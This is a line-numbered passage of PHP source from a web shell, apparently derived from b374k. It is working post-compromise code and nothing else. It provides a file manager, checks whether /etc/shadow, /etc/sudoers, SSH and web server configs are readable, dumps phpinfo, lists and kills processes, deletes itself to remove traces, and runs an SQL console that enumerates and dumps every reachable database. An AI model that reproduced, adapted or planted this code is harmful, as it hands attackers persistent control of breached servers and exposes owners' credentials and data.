1420 ' . (!$isWIN ? '<td><a href="#" onclick="showUI(\'mpers\', this);return false;">' . vPermsColor($currentdir . $file) . '</a><br>' . getUser($currentdir . $file) . '</td>' : '') . '
1421 <td>
1422 <div onclick="showUI(\'del\', this);return false;" class="image del"></div>
1423 <div onclick="showUI(\'ren\', this);return false;" class="image rename"></div>
1424 <div onclick="ajaxLoad(\'me=filemanager&md=info&t=\' + euc(dpath(this, true)));return false;" class="image info"></div>
1425 <div onclick="ajaxLoad(\'me=filemanager&md=edit&t=\' + euc(dpath(this, true)));return false;" class="image edit"></div>
1426 </td>
1427 </tr>';
1428 }
1429 unset($fDataD);
1430
1431 @natcasesort($fDataF);
1432 foreach ($fDataF as $file){
1433 $c++;
1434 $ft = filemtime($currentdir . $file);
1435 $sBuff .= '<tr data-path="' . $file . '" class="' . (($bg++ % 2 == 0) ? 'alt1' : 'alt2') . '">
1436 <td><input type="checkbox" value="' . $file . '" name="dl[]"></td><td>';
1437
1438 if ($currentdir . $file === __file__) $sBuff .= '<div class="image php"></div><font class="my">' . $file . '</font>';
1439 else if($isLinked) $sBuff .= showIcon($file) . ' <a href="' . $baseURL . $file . '" target="_blank">' . $file . '</a>';
1440 else $sBuff .= showIcon($file) . ' ' . $file;
1441
1442 $sBuff .= '</td><td><a href="#" onclick="showUI(\'mdate\', this);return false;" data-ft="' . date('Y-m-d H:i:s', $ft) . '">' . date($config['datetime'], $ft) . '</a></td>
1443 <td>' . sizecount(filesize64($currentdir . $file)) . '</td>
1444 ' . (!$isWIN ? '<td><a href="#" onclick="showUI(\'mpers\', this);return false;">' . vPermsColor($currentdir . $file) . '</a><br>' . getUser($currentdir . $file) . '</td>' : '') . '
1445 <td>
1446 <div onclick="showUI(\'del\', this);return false;" class="image del"></div>
1447 <div onclick="showUI(\'ren\', this);return false;" class="image rename"></div>
1448 <div onclick="ajaxLoad(\'me=filemanager&md=info&t=\' + euc(dpath(this, true)));return false;" class="image info"></div>
1449 <div onclick="ajaxLoad(\'me=filemanager&md=edit&t=\' + euc(dpath(this, true)));return false;" class="image edit"></div>
1450 <div onclick="dl(this);return false;" class="image download"></div>
1451 </td></tr>';
1452 }
1453 unset($fDataF);
1454
1455 $sBuff .= '</tbody><tfoot><tr class="' . (($bg++ % 2 == 0) ? 'alt1' : 'alt2') . '">
1456 <td width="2%">' . mCheck('chkall', '', 'CheckAll(this.form);') . '</td>
1457 <td>' . tText('selected', 'Selected') . ': ' . mLink(tText('download', 'Download'), 'showUISec("comp")') . ' | ' .
1458 mLink(tText('del', 'Del'), 'showUISec("rdel")') . ' | ' . mLink(tText('copy', 'Copy'), 'showUISec("copy")') . ' | ' . mLink(tText('uncompress', 'Uncompress'), 'showUISec("uncomp")') . '</td>
1459 <td colspan="4" align="right">
1460 <b>' . $d . '</b> ' . tText('dirs', 'Directories') . ' / <b>' . $c . '</b> ' . tText('fils', 'Files') . '
1461 </td>
1462 </tr></tfoot>
1463 </table></form>' . mHide('base', $currentdir);
1464 } else
1465 $sBuff .= sDialog(tText('accessdenied', 'Access denied'));
1466
1467 if ($config['FMLimit'])
1468 $sBuff .= genPaginator($p['pg'], ($c < $config['FMLimit'] ? $p['pg'] : -1));
1469 }
1470 } else if ($p['me'] === 'info') {
1471 function getfun($n){
1472 return (false !== function_exists($n)) ? tText('yes', 'yes') : tText('no', 'no');
1473 }
1474
1475 if (isset($p['pvn'])) {
1476 $sBuff .= sAjax($p['pvn'] . ': ' . getfun($p['pvn']));
1477 }
1478
1479 $sBuff .= '<form>' . mHide('me', 'info') . '
1480 <h2>' . tText('info', 'Info') . '</h2>
1481 <p>' . tText('in0', 'PHP config param (ex: magic_quotes_gpc)') . '
1482 ' . mInput('pvn', '') . ' ' . mSubmit(tText('go', 'Go!'), 'uiupdate(0)', '', 'style="width: 5px;display: inline;"') . '</p>
1483 </form>';
1484
1485 //principal resume
1486 $dis_func = get_cfg_var('disable_functions');
1487 !$dis_func && $dis_func = 'No';
1488
1489 $sBuff .= "<p class='boxtitle touch' onclick=\"toggle('info');\" style='margin-bottom:8px;'>Resume</p>" .
1490 "<div id='info' style='margin-bottom:8px;display:none;'><table class='dataView'>";
1491 $info = array(
1492 'Server Time' => date('Y/m/d h:i:s', time()),
1493 'Server Domain' => $_SERVER['SERVER_NAME'],
1494 'Server IP' => gethostbyname($_SERVER['SERVER_NAME']),
1495 'Server OS' => PHP_OS,
1496 'Server OS Charset' => $_SERVER['HTTP_ACCEPT_LANGUAGE'],
1497 'Server Software' => $_SERVER['SERVER_SOFTWARE'],
1498 'Server Web Port' => $_SERVER['SERVER_PORT'],
1499 'PHP run mode' => php_sapi_name(),
1500 'This file path' => __file__,
1501 'PHP Version' => PHP_VERSION,
1502 'PHP Info' => ((function_exists('phpinfo') && @! in_array('phpinfo', $dis_func)) ? '<b>Yes</b>' : 'No'),
1503 'Safe Mode' => getcfg('safe_mode'),
1504 'Administrator' => (isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from')),
1505 'allow_url_fopen' => getcfg('allow_url_fopen'),
1506 'enable_dl' => getcfg('enable_dl'),
1507 'display_errors' => getcfg('display_errors'),
1508 'register_globals' => getcfg('register_globals'),
1509 'magic_quotes_gpc' => getcfg('magic_quotes_gpc'),
1510 'memory_limit' => getcfg('memory_limit'),
1511 'post_max_size' => getcfg('post_max_size'),
1512 'upload_max_filesize' => (getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed'),
1513 'max_execution_time' => getcfg('max_execution_time') . ' second(s)',
1514 'disable_functions' => $dis_func,
1515 'MySQL' => getfun('mysql_connect'),
1516 'MSSQL' => getfun('mssql_connect'),
1517 'PostgreSQL' => getfun('pg_connect'),
1518 'Oracle' => getfun('ocilogon'),
1519 'Curl' => getfun('curl_version'),
1520 'gzcompress' => getfun('gzcompress'),
1521 'gzencode' => getfun('gzencode'),
1522 'bzcompress' => getfun('bzcompress')
1523 );
1524
1525 foreach ($info as $v => $k)
1526 $sBuff .= "<tr><td>{$v}</td><td>{$k}</td></tr>";
1527
1528 $sBuff .= "</table></div>";
1529
1530 //server misc info - based on b374k work
1531 $sBuff .= "<p class='boxtitle touch' onclick=\"toggle('info_server');\" style='margin-bottom:8px;'>Server Info</p>" .
1532 "<div id='info_server' style='margin-bottom:8px;display:none;'><table class='dataView'>";
1533 if ($isWIN){
1534 foreach (range("A", "Z") as $letter){
1535 if(is_readable($letter.":\\")){
1536 $drive = $letter.":";
1537 $sBuff .= "<tr><td>drive {$drive}</td><td>" . sizecount(@disk_free_space($drive)) . " free of " . sizecount(@disk_total_space($drive)) . "</td></tr>";
1538 }
1539 }
1540 } else
1541 $sBuff .= "<tr><td>root partition</td><td>" . sizecount(@disk_free_space("/")) . " free of " . sizecount(@disk_total_space("/")) . "</td></tr>";
1542
1543 $sBuff .= "<tr><td>PHP</td><td>" . phpversion() . "</td></tr>";
1544 $access = array(
1545 "python"=>"python -V",
1546 "perl"=>"perl -e \"print \$]\"",
1547 "python"=>"python -V",
1548 "ruby"=>"ruby -v",
1549 "node"=>"node -v",
1550 "nodejs"=>"nodejs -v",
1551 "gcc"=>"gcc -dumpversion",
1552 "java"=>"java -version",
1553 "javac"=>"javac -version"
1554 );
1555
1556 foreach($access as $k => $v){
1557 $v = explode("\n", execute($v));
1558 if ($v[0]) $v = $v[0];
1559 else $v = "?";
1560
1561 $sBuff .= "<tr><td>{$k}</td><td>{$v}</td></tr>";
1562 }
1563
1564 if(!$isWIN){
1565 $interesting = array(
1566 "/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
1567 "/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
1568 "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
1569 "/etc/ssh/sshd_config",
1570 "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
1571 "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
1572 "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules"
1573 );
1574 foreach($interesting as $f){
1575 if (@is_file($f) && @is_readable($f))
1576 $sBuff .= "<tr><td>{$f}</td><td><a data-path='{$f}' onclick='view_entry(this);'>{$f} is readable</a></td></tr>";
1577 }
1578 }
1579 $sBuff .= "</table></div>";
1580
1581
1582 // cpu info
1583 if(!$isWIN){
1584 if ($i_buff=trim(read_file("/proc/cpuinfo"))){
1585 $sBuff .= "<p class='boxtitle touch' onclick=\"toggle('info_cpu');\" style='margin-bottom:8px;'>CPU Info</p>" .
1586 "<div id='info_cpu' style='margin-bottom:8px;display:none;'>";
1587 $i_buffs = explode("\n\n", $i_buff);
1588 foreach($i_buffs as $i_buffss){
1589 $i_buffss = trim($i_buffss);
1590 if($i_buffss!=""){
1591 $i_buffsss = explode("\n", $i_buffss);
1592 $sBuff .= "<table class='dataView'>";
1593 foreach($i_buffsss as $i){
1594 $i = trim($i);
1595 if($i!=""){
1596 $ii = explode(":",$i);
1597 if(count($ii)==2) $sBuff .= "<tr><td>{$ii[0]}</td><td>{$ii[1]}</td></tr>";
1598 }
1599 }
1600 $sBuff .= "</table>";
1601 }
1602 }
1603 $sBuff .= "</div>";
1604 }
1605
1606 // mem info
1607 if ($i_buff=trim(read_file("/proc/meminfo"))){
1608 $sBuff .= "<p class='boxtitle touch' onclick=\"toggle('info_mem');\" style='margin-bottom:8px;'>Memory Info</p>" .
1609 "<div id='info_mem' style='margin-bottom:8px;display:none;'><table class='dataView'>";
1610 $i_buffs = explode("\n", $i_buff);
1611 foreach($i_buffs as $i){
1612 $i = trim($i);
1613 if($i!=""){
1614 $ii = explode(":", $i);
1615 if(count($ii)==2) $sBuff .= "<tr><td>{$ii[0]}</td><td>{$ii[1]}</td></tr>";
1616 } else
1617 $sBuff .= "</table><table class='dataView'>";
1618 }
1619 $sBuff .= "</table></div>";
1620 }
1621
1622 // partition
1623 if ($i_buff=trim(read_file("/proc/partitions"))){
1624 $sBuff .= "<p class='boxtitle touch' onclick=\"toggle('info_part');\" style='margin-bottom:8px;'>Partitions Info</p>" .
1625 "<div id='info_part' style='margin-bottom:8px;display:none;'>" .
1626 "<table class='dataView'><tr>";
1627 $i_buff = preg_replace("/\ +/", " ", $i_buff);
1628 $i_buffs = explode("\n\n", $i_buff);
1629 $i_head = explode(" ", $i_buffs[0]);
1630 foreach($i_head as $h)
1631 $sBuff .= "<th>{$h}</th>";
1632 $sBuff .= "</tr>";
1633 $i_buffss = explode("\n", $i_buffs[1]);
1634 foreach($i_buffss as $i_b){
1635 $i_row = explode(" ", trim($i_b));
1636 $sBuff .= "<tr>";
1637 foreach($i_row as $r)
1638 $sBuff .= "<td style='text-align:center;'>{$r}</td>";
1639 $sBuff .= "</tr>";
1640 }
1641 $sBuff .= "</table></div>";
1642 }
1643 }
1644
1645 $phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
1646 foreach($phpinfo as $p=>$i){
1647 $sBuff .= "<p class='boxtitle touch' onclick=\"toggle('{$i}');\" style='margin-bottom:8px;'>{$p}</p>";
1648 ob_start();
1649 eval("phpinfo($i);");
1650 $b = ob_get_contents();
1651 ob_end_clean();
1652 if (preg_match("/<body>(.*?)<\/body>/is", $b, $r)){
1653 $body = str_replace(array(',', ';', '&'), array(', ', '; ', '&'), $r[1]);
1654 $body = str_replace('<table', "<table class='boxtbl' ", $body);
1655 $body = preg_replace("/<tr class=\"h\">(.*?)<\/tr>/", "", $body);
1656 $body = preg_replace("/<a href=\"http:\/\/www.php.net\/(.*?)<\/a>/", '', $body);
1657 $body = preg_replace("/<a href=\"http:\/\/www.zend.com\/(.*?)<\/a>/", '', $body);
1658 $sBuff .= "<div id='{$i}' style='margin-bottom:8px;display:none;'>{$body}</div>";
1659 }
1660 }
1661 } else if ($p['me'] === 'process') {
1662 if (isset($p['ps'])){
1663 $tmp = '';
1664 for ($i = 0; count($p['ps']) > $i; $i++){
1665 if (function_exists('posix_kill'))
1666 $tmp .= (posix_kill($p['ps'][$i], '9') ? 'Process with pid ' . $p['ps'][$i] . ' has been successfully killed' : 'Unable to kill process with pid ' . $p['ps'][$i]) . '<br>';
1667 else {
1668 if($isWIN) $tmp .= execute("taskkill /F /PID {$p['ps'][$i]}") . '<br>';
1669 else $tmp .= execute("kill -9 {$p['ps'][$i]}") . '<br>';
1670 }
1671 }
1672
1673 $sBuff .= sDialog($tmp);
1674 }
1675
1676 $h = 'ps aux';
1677 $wexp = ' ';
1678 if ($isWIN){
1679 $h = 'tasklist /V /FO csv';
1680 $wexp = '","';
1681 }
1682
1683 $res = execute($h);
1684 if (trim($res) === '') $sBuff = sDialog('Error getting process list');
1685 else {
1686 if(!$isWIN) $res = preg_replace('#\ +#', ' ', $res);
1687 $psarr = explode("\n", $res);
1688 $h = true;
1689 $tblcount = 0;
1690 $wcount = count(explode($wexp, $psarr[0]));
1691
1692 $sBuff .= '<br><form><table id="sort" class="explore sortable">';
1693 foreach($psarr as $psa){
1694 if(trim($psa) !== ''){
1695 if($h){
1696 $h = false;
1697 $psln = explode($wexp, $psa, $wcount);
1698 $sBuff .= '<tr><th style="width:24px;" class="sorttable_nosort"></th><th class="sorttable_nosort">action</th>';
1699 foreach($psln as $p)
1700 $sBuff .= '<th class="touch">' . trim(trim($p), '"') . '</th>';
1701 $sBuff .= '</tr>';
1702 } else {
1703 $psln = explode($wexp, $psa, $wcount);
1704 $sBuff .= '<tr>';
1705 $tblcount = 0;
1706 foreach($psln as $p){
1707 $pid = trim(trim($psln[1]), '"');
1708 if(trim($p) === '') $p = ' ';
1709 if($tblcount == 0){
1710 $sBuff .= '<td style="text-align:center;text-indent:4px;"><input name="ps[]" value="' . $pid . '" type="checkbox" onchange="hilite(this);" /></td>' .
1711 '<td style="text-align:center;"><a href="#" onclick="if (confirm(\'' . tText('merror', 'Are you sure?') . '\')) ajaxLoad(\'me=process&ps[]=' . $pid . '\')">kill</a></td>' .
1712 '<td style="text-align:center;">' . trim(trim($p), '"') . '</td>';
1713 $tblcount++;
1714 } else {
1715 $tblcount++;
1716 if($tblcount == count($psln)) $sBuff .= "<td style='text-align:left;'>".trim(trim($p), '"')."</td>";
1717 else $sBuff .= "<td style='text-align:center;'>".trim(trim($p), '"')."</td>";
1718 }
1719 }
1720 $sBuff .= '</tr>';
1721 }
1722 }
1723 }
1724
1725 $sBuff .= '<tfoot><tr><td>' . mCheck('chkall', '', 'CheckAll(this.form);') . '</td>' .
1726 '<td style="text-indent:10px;padding:2px;" colspan="' . (count($psln)+1) . '">' . mSubmit(tText('ps0', 'kill selected'), 'ajaxLoad(serialize(d.forms[0]))') .
1727 '<span id="total_selected"></span></a></td></tr></tfoot></table>' . mHide('me', 'process') . '</form>';
1728 }
1729 } else if ($p['me'] === 'selfremove') {
1730 if ((isset($p['uc'])) && ($p['uc'] === $p['rc'])){
1731 if (unlink(__file__)){
1732 @ob_clean();
1733 exit('Bye ;(');
1734 } else
1735 $sBuff .= '<b>' . tText('fail', 'Fail!') . '</b><br>';
1736 }
1737
1738 $r = mt_rand(1337, 9999);
1739 $sBuff .= '<form><b>' . tText('del', 'Del') . ': ' . __file__ . '<br><br>' . tText('reminfo', 'For confirmation enter this code') . ': ' . $r . '</b>' .
1740 mHide('me', 'srm') . mHide('rc', $r) .
1741 mInput('uc', '') . ' <input type="button" value="' . tText('go', 'Go!') . '" onclick="ajaxLoad(serialize(d.forms[0]));return false;" /></form>';
1742 } else if ($p['me'] === 'sql') {
1743 // SQL based on b374k by DSR!
1744 function sql_connect($type, $host, $user, $pass){
1745 if ($type === 'mysql'){
1746 $hosts = explode(':', $host);
1747 if(count($hosts)==2) $host_str = $hosts[0].':'.$hosts[1];
1748 else $host_str = $host;
1749 if(function_exists('mysqli_connect')) return @mysqli_connect($host_str, $user, $pass);
1750 else if(function_exists('mysql_connect')) return @mysql_connect($host_str, $user, $pass);
1751 } else if($type === 'mssql'){
1752 if(function_exists('mssql_connect')) return @mssql_connect($host, $user, $pass);
1753 else if(function_exists('sqlsrv_connect')){
1754 $coninfo = array('UID'=>$user, 'PWD'=>$pass);
1755 return @sqlsrv_connect($host,$coninfo);
1756 }
1757 } else if($type === 'pgsql'){
1758 $hosts = explode(':', $host);
1759 if(count($hosts)==2) $host_str = 'host='.$hosts[0].' port='.$hosts[1];
1760 else $host_str = 'host='.$host;
1761 if(function_exists('pg_connect')) return @pg_connect($host_str.' user='.$user.' password='.$pass);
1762 } else if($type === 'oracle'){
1763 if(function_exists('oci_connect')) return @oci_connect($user, $pass, $host);
1764 } else if($type === 'sqlite3'){
1765 if(class_exists('SQLite3')) if(!empty($host)) return new SQLite3($host);
1766 } else if($type === 'sqlite'){
1767 if(function_exists('sqlite_open')) return @sqlite_open($host);
1768 } else if($type === 'odbc'){
1769 if(function_exists('odbc_connect')) return @odbc_connect($host, $user, $pass);
1770 } else if($type === 'pdo'){
1771 if(class_exists('PDO')) if(!empty($host)) return new PDO($host, $user, $pass);
1772 }
1773 return false;
1774 }
1775
1776 function sql_query($type, $query, $con){
1777 if ($type === 'mysql'){
1778 if(function_exists('mysqli_query')) return mysqli_query($con,$query);
1779 else if(function_exists('mysql_query')) return mysql_query($query);
1780 } else if($type === 'mssql'){
1781 if(function_exists('mssql_query')) return mssql_query($query);
1782 else if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query);
1783 } else if($type === 'pgsql') return pg_query($query);
1784 else if($type === 'oracle') return oci_execute(oci_parse($con, $query));
1785 else if($type === 'sqlite3') return $con->query($query);
1786 else if($type === 'sqlite') return sqlite_query($con, $query);
1787 else if($type === 'odbc') return odbc_exec($con, $query);
1788 else if($type === 'pdo') return $con->query($query);
1789 }
1790
1791 function sql_num_fields($type, $result, $con){
1792 if ($type === 'mysql'){
1793 if(function_exists('mysqli_field_count')) return mysqli_field_count($con);
1794 else if (function_exists('mysql_num_fields')) return mysql_num_fields($result);
1795 } else if($type === 'mssql'){
1796 if(function_exists('mssql_num_fields')) return mssql_num_fields($result);
1797 else if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result);
1798 } else if($type === 'pgsql') return pg_num_fields($result);
1799 else if($type === 'oracle') return oci_num_fields($result);
1800 else if($type === 'sqlite3') return $result->numColumns();
1801 else if($type === 'sqlite') return sqlite_num_fields($result);
1802 else if($type === 'odbc') return odbc_num_fields($result);
1803 else if($type === 'pdo') return $result->columnCount();
1804 }
1805
1806 function sql_field_name($type,$result,$i){
1807 if ($type === 'mysql'){
1808 if(function_exists('mysqli_fetch_fields')){
1809 $metadata = mysqli_fetch_fields($result);
1810 if(is_array($metadata)) return $metadata[$i]->name;
1811 } else if (function_exists('mysql_field_name')) return mysql_field_name($result,$i);
1812 } else if($type === 'mssql'){
1813 if(function_exists('mssql_field_name')) return mssql_field_name($result,$i);
1814 else if(function_exists('sqlsrv_field_metadata')){
1815 $metadata = sqlsrv_field_metadata($result);
1816 if(is_array($metadata)) return $metadata[$i]['Name'];
1817 }
1818 } else if($type === 'pgsql') return pg_field_name($result,$i);
1819 else if($type === 'oracle') return oci_field_name($result,$i+1);
1820 else if($type === 'sqlite3') return $result->columnName($i);
1821 else if($type === 'sqlite') return sqlite_field_name($result,$i);
1822 else if($type === 'odbc') return odbc_field_name($result,$i+1);
1823 else if($type === 'pdo'){
1824 $res = $result->getColumnMeta($i);
1825 return $res['name'];
1826 }
1827 }
1828
1829 function sql_fetch_data($type,$result){
1830 if ($type === 'mysql'){
1831 if(function_exists('mysqli_fetch_row')) return mysqli_fetch_row($result);
1832 else if(function_exists('mysql_fetch_row')) return mysql_fetch_row($result);
1833 } else if($type === 'mssql'){
1834 if(function_exists('mssql_fetch_row')) return mssql_fetch_row($result);
1835 else if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($result,1);
1836 } else if($type === 'pgsql') return pg_fetch_row($result);
1837 else if($type === 'oracle') return oci_fetch_row($result);
1838 else if($type === 'sqlite3') return $result->fetchArray(1);
1839 else if($type === 'sqlite') return sqlite_fetch_array($result,1);
1840 else if($type === 'odbc') return odbc_fetch_array($result);
1841 else if($type === 'pdo') return $result->fetch(2);
1842 }
1843
1844 function sql_num_rows($type,$result){
1845 if ($type === 'mysql'){
1846 if(function_exists('mysqli_num_rows')) return mysqli_num_rows($result);
1847 else if(function_exists('mysql_num_rows')) return mysql_num_rows($result);
1848 } else if($type === 'mssql'){
1849 if(function_exists('mssql_num_rows')) return mssql_num_rows($result);
1850 else if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result);
1851 } else if($type === 'pgsql') return pg_num_rows($result);
1852 else if($type === 'oracle') return oci_num_rows($result);
1853 else if($type === 'sqlite3'){
1854 $metadata = $result->fetchArray();
1855 if(is_array($metadata)) return $metadata['count'];
1856 } else if($type === 'sqlite') return sqlite_num_rows($result);
1857 else if($type === 'odbc') return odbc_num_rows($result);
1858 else if($type === 'pdo') return $result->rowCount();
1859 }
1860
1861 function sql_close($type,$con){
1862 if ($type === 'mysql'){
1863 if(function_exists('mysqli_close')) return mysqli_close($con);
1864 else if(function_exists('mysql_close')) return mysql_close($con);
1865 } else if($type === 'mssql'){
1866 if(function_exists('mssql_close')) return mssql_close($con);
1867 else if(function_exists('sqlsrv_close')) return sqlsrv_close($con);
1868 } else if($type === 'pgsql') return pg_close($con);
1869 else if($type === 'oracle') return oci_close($con);
1870 else if($type === 'sqlite3') return $con->close();
1871 else if($type === 'sqlite') return sqlite_close($con);
1872 else if($type === 'odbc') return odbc_close($con);
1873 else if($type === 'pdo') return $con = null;
1874 }
1875
1876 /*
1877 function dump($table){
1878 if (empty($table)) return 0;
1879 $this->dump = array();
1880 $this->dump[0] = '';
1881 $this->dump[1] = '-- --------------------------------------- ';
1882 $this->dump[2] = '-- Created: ' . date("d/m/Y H:i:s");
1883 $this->dump[3] = '-- Database: ' . $this->base;
1884 $this->dump[4] = '-- Table: ' . $table;
1885 $this->dump[5] = '-- --------------------------------------- ';
1886
1887 switch ($this->db){
1888 case 'MySQL':
1889 $this->dump[0] = '-- MySQL dump';
1890 if ($this->query('SHOW CREATE TABLE `' . $table . '`') != 1) return 0;
1891 if (! $this->get_result()) return 0;
1892 $this->dump[] = $this->rows[0]['Create Table'];
1893 $this->dump[] = '-- ------------------------------------- ';
1894 if ($this->query('SELECT * FROM `' . $table . '`') != 1) return 0;
1895 if (! $this->get_result()) return 0;
1896 for ($i = 0; $i < $this->num_rows; $i++){
1897 foreach ($this->rows[$i] as $k => $v){
1898 $this->rows[$i][$k] = @mysql_real_escape_string($v);
1899 }
1900 $this->dump[] = 'INSERT INTO `' . $table . '` (`' . @implode("`, `", $this->columns) . '`) VALUES (\'' . @implode("', '", $this->rows[$i]) . '\');';
1901 }
1902 break;
1903 case 'MSSQL':
1904 $this->dump[0] = '## MSSQL dump';
1905 if ($this->query('SELECT * FROM ' . $table) != 1) return 0;
1906 if (! $this->get_result()) return 0;
1907 for ($i = 0; $i < $this->num_rows; $i++){
1908 foreach ($this->rows[$i] as $k => $v){
1909 $this->rows[$i][$k] = @addslashes($v);
1910 }
1911 $this->dump[] = 'INSERT INTO ' . $table . ' (' . @implode(", ", $this->columns) . ') VALUES (\'' . @implode("', '", $this->rows[$i]) . '\');';
1912 }
1913 break;
1914 case 'PostgreSQL':
1915 $this->dump[0] = '## PostgreSQL dump';
1916 if ($this->query('SELECT * FROM ' . $table) != 1) return 0;
1917 if (! $this->get_result()) return 0;
1918 for ($i = 0; $i < $this->num_rows; $i++){
1919 foreach ($this->rows[$i] as $k => $v){
1920 $this->rows[$i][$k] = @addslashes($v);
1921 }
1922 $this->dump[] = 'INSERT INTO ' . $table . ' (' . @implode(", ", $this->columns) . ') VALUES (\'' . @implode("', '", $this->rows[$i]) . '\');';
1923 }
1924 break;
1925 case 'Oracle':
1926 $this->dump[0] = '## ORACLE dump';
1927 $this->dump[] = '## under construction';
1928 break;
1929 default:
1930 return 0;
1931 break;
1932 }
1933
1934 return 1;
1935 }
1936 */
1937
1938 if (isset($p['code'])){
1939 if (!isset($p['pg'])) $p['pg'] = 1;
1940 $start = ((int)$p['pg'] - 1) * $config['SQLLimit'];
1941 $oracleLimit = $start + $config['SQLLimit'];
1942
1943 $sBuff = '';
1944 $con = sql_connect($p['type'], $p['host'], $p['user'], $p['pass']);
1945 foreach(explode('{;}', $p['code']) as $query){
1946 if (trim($query) !== ''){
1947 $query = str_replace(array('{start}', '{limit}', '{oraclelimit}'), array($start, $config['SQLLimit'], $oracleLimit), $query);
1948 $sBuff .= '<hr /><p><b>' . tText('sq8', 'Executed') . ':</b> ' . hsc($query) . '; ';
1949 $res = sql_query($p['type'], $query, $con);
1950 if ($res !== false && !is_bool($res)){
1951 $tmp = "<table id='sort' class='explore sortable' style='width:100%;'><tr>";
1952
1953 $t = sql_num_fields($p['type'], $res, $con);
1954 for ($i = 0; $i < $t; $i++)
1955 $tmp .= '<th class="touch">' . @hsc(sql_field_name($p['type'], $res, $i)) . '</th>';
1956 $tmp .= '</tr>';
1957
1958 $c = 0;
1959
1960 while($rows = sql_fetch_data($p['type'], $res)){
1961 $c++;
1962 $tmp .= '<tr>';
1963 foreach($rows as $r)
1964 $tmp .= '<td>' . @hsc($r) . '</td>';
1965 $tmp .= '</tr>';
1966 }
1967
1968 $pag = genPaginator($p['pg'], ($c < $config['SQLLimit'] ? $p['pg'] : -1), false) . '';
1969 $sBuff .= "<b>[ ok ]</b></p><br>{$pag}<br>{$tmp}</table><br>{$pag}<br>";
1970 unset($c, $tmp);
1971 } else if ($res === false)
1972 $sBuff .= "<b>[ ERROR ] ({$res})</b></p><br>";
1973 else
1974 $sBuff .= "<b>[ ok ] ({$res})</b></p><br>";
1975 }
1976 }
1977
1978 sAjax($sBuff);
1979 } else if (isset($p['host'])){
1980 $con = sql_connect($p['type'], $p['host'], $p['user'], $p['pass']);
1981 if ($con !== false){
1982 $sBuff .= '<form>' .
1983 mHide('me', 'sql') . mHide('type', $p['type']) .
1984 mHide('host', $p['host']) . mHide('port', $p['port']) .
1985 mHide('user', $p['user']) . mHide('pass', $p['pass']) . '
1986 </form><textarea id="code" name="code" class="bigarea" style="height: 100px;"></textarea>
1987 <p>' . mSubmit(tText('go', 'Go!'), 'dbexec(euc(d.getElementById("code").value))') . '
1988 ' . tText('sq4', 'Separate multiple commands with') . ' <span>{;}</span> ' . tText('sq9', 'Variables for use in pagination') . ' <span>{start}, {limit}, {oraclelimit}</span></p><br>
1989 <table class="border" style="padding:0;"><tbody>
1990 <tr><td id="dbNav" class="colFit borderright" style="vertical-align:top;">';
1991
1992 if (($p['type']!=='pdo') && ($p['type']!=='odbc')){
1993 if ($p['type']==='mssql') $showdb = 'SELECT name FROM master..sysdatabases';
1994 else if ($p['type']==='pgsql') $showdb = 'SELECT schema_name FROM information_schema.schemata';
1995 else if ($p['type']==='oracle') $showdb = 'SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME';
1996 else if ($p['type']==='sqlite' || $p['type']==='sqlite3') $showdb = "SELECT '{$p['host']}'";
1997 else $showdb = 'SHOW DATABASES'; //mysql
1998
1999 $res = sql_query($p['type'], $showdb, $con);
2000 if ($res !== false){
2001 $bg = 0;
2002 while($rowarr = sql_fetch_data($p['type'], $res)){
2003 foreach($rowarr as $rows){
2004 $sBuff .= '<p class="touch notif ' . (($bg++ % 2 == 0) ? 'alt1' : 'alt2') . '" onclick=\'toggle("db_'.$rows.'")\'>'.$rows.'</p><div class="uiinfo" id="db_'.$rows.'"><table>';
2005
2006 if($p['type']==='mssql') $showtbl = "SELECT name FROM {$rows}..sysobjects WHERE xtype = 'U'";
2007 else if($p['type']==='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='{$rows}'";
2008 else if($p['type']==='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='{$rows}'";
2009 else if($p['type']==='sqlite' || $p['type']==='sqlite3') $showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
2010 else $showtbl = "SHOW TABLES FROM {$rows}"; //mysql
2011
2012 $res_t = sql_query($p['type'], $showtbl, $con);
2013 if ($res_t != false){
2014 while($tablearr = sql_fetch_data($p['type'], $res_t)){
2015 foreach($tablearr as $tables){
2016 if ($p['type']==='mssql') $dumptbl = "SELECT TOP 100 * FROM {$rows}..{$tables}"; //TODO
2017 else if ($p['type']==='pgsql') $dumptbl = "SELECT * FROM {$rows}.{$tables} LIMIT {limit} OFFSET {start}";
2018 else if ($p['type']==='oracle') $dumptbl = "SELECT * FROM {$rows}.{$tables} WHERE ROWNUM BETWEEN {start} AND (oraclelimit);";
2019 else if ($p['type']==='sqlite' || $p['type']==='sqlite3') $dumptbl = "SELECT * FROM {$tables} LIMIT {start}, {limit}";
2020 else $dumptbl = "SELECT * FROM {$rows}.{$tables} LIMIT {start}, {limit}"; //mysql
2021
2022 $sBuff .= '<tr><td><a href="#" onclick="dbexec(euc(\'' . $dumptbl . '\'));return false;">' . $tables . '</a></td></tr>';
2023 }
2024 }
2025 }
2026 $sBuff .= '</table></div>';
2027 }
2028 }
2029 }
